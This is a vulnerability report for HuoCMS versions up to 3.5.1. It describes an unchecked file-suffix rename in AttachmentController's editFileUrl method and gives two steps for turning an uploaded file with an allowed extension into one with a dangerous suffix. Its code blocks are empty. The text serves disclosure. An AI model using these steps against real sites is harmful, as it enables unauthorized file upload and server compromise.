## BUG_Author:

## Affected version: 
Huocms

## Vendor:
https://huocms.com/


## Source Code Address: 
https://gitee.com/digital-flag/huocms

## Vulnerability File: 
AttachmentController.php

## Affected Version：
HuoCMS - <=V3.5.1

## Description:

app ->controller ->backend -> AttachmentController.php:editFileUrl()

The suffix of $newPathUrl in the "copy" function called in the "editFileUrl" method is not verified by the whitelist, which can be exploited to modify the file name. The suffix is controlled by the passed-in suffix_url and is controllable.

Step 1: Upload a file with a whitelisted suffix that contains malicious content in advance, and record the file ID at the same time.
```

Based on the content, the ID is determined to be 67.


Step 2: Then construct a request based on the editFileUrl, rename the one with id 67, where the copy function in the vulnerability's editFileUrl is called to rename the file with an illegal suffix.

```

Note: To modify it again, you need to change the filename of `suffix_url` to bypass the `copy` function triggered by `$oldPathUrl != $newPathUrl` inside `editFileUrl`.
